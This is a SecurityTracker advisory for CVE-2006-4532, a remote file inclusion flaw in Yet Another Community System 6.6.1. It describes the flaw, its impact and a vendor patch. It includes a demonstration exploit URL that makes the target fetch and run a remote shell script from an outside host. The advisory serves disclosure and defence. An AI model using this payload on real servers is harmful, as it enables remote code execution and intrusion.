Yet Another Community System (YACS) Include File Bug in 'context[path_to_root]' Parameter Lets Remote Users Execute Arbitrary Code
|
SecurityTracker Alert ID: 1016775 |
SecurityTracker URL: http://securitytracker.com/id/1016775
|
CVE Reference:
CVE-2006-4532
(Links to External Site)
|
Updated: Jun 8 2008
|
Original Entry Date: Sep 1 2006
|
Impact:
Execution of arbitrary code via network, User access via network
|
Fix Available: Yes Vendor Confirmed: Yes Exploit Included: Yes
|
Version(s): 6.6.1
|
Description:
A vulnerability was reported in Yet Another Community System (YACS). A remote user can include and execute arbitrary code on the target system.
The software does not properly validate user-supplied input in the 'context[path_to_root]' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.
Several scripts are affected.
A demonstration exploit URL is provided:
http://[target]/[patch]/yacs/articles/article.php?context[path_to_root]=http://url--ataca.org/shell.txt?
MATASANOS discovered this vulnerability.
|
Impact:
A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
|
Solution:
The vendor has issued a patch for version 6.6.1, available at:
http://www.yetanothercommunitysystem.com/yacs/articles/view.php/1664
|
Vendor URL: www.yetanothercommunitysystem.com/yacs/articles/view.php/1664 (Links to External Site)
|
Cause:
Input validation error, State error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
|
[Original Message Not Available for Viewing]
|
|